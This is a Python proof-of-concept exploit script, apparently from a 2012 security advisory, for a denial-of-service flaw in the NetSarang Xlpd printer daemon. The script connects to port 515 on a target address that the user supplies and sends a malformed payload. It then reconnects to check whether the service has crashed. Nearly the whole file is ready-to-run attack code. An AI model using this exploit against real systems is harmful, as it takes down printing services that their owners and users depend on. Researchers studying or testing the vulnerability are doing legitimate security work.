#!/usr/bin/python
##############################################################################
#
# Title    : NetSarang Xlpd Printer Daemon Denial of Service Vulnerability
# Author   : Prabhu S Angadi SecPod Technologies (www.secpod.com)
# Vendor   : http://www.netsarang.com
# Advisory : http://secpod.org/blog/?p=457
#            http://secpod.org/advisories/SecPod_Exploit_NetSarang_Xlpd_Printer_Daemon_DoS_Vuln.txt
#            http://secpod.org/exploits/SecPod_Exploit_NetSarang_Xlpd_Printer_Daemon_DoS.py
# Software : NetSarang Xlpd 4 Build 0100 and NetSarang Xmanager Enterprise 4 Build 0186
# Date     : 01/02/2012
#
##############################################################################

import socket,sys,time

port = 515

if len(sys.argv) < 2:
    print "\n[-] Usage: %s <target addr>" % sys.argv[0]
    sys.exit(0)

target = sys.argv[1]

sockObj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:
    sockObj.connect((target,port))
except:
    print "\n[-] Xlpd service is down."
    sys.exit(0)

sockObj.send("crap"+"LF")
sockObj.send("LF")
#Will wait for a while
time.sleep(5)
sockObj.close()

try:
    sockObj.connect((target,port))
except:
    print "\n[-] Xlpd service is crashed, unble to connect"

sys.exit(0)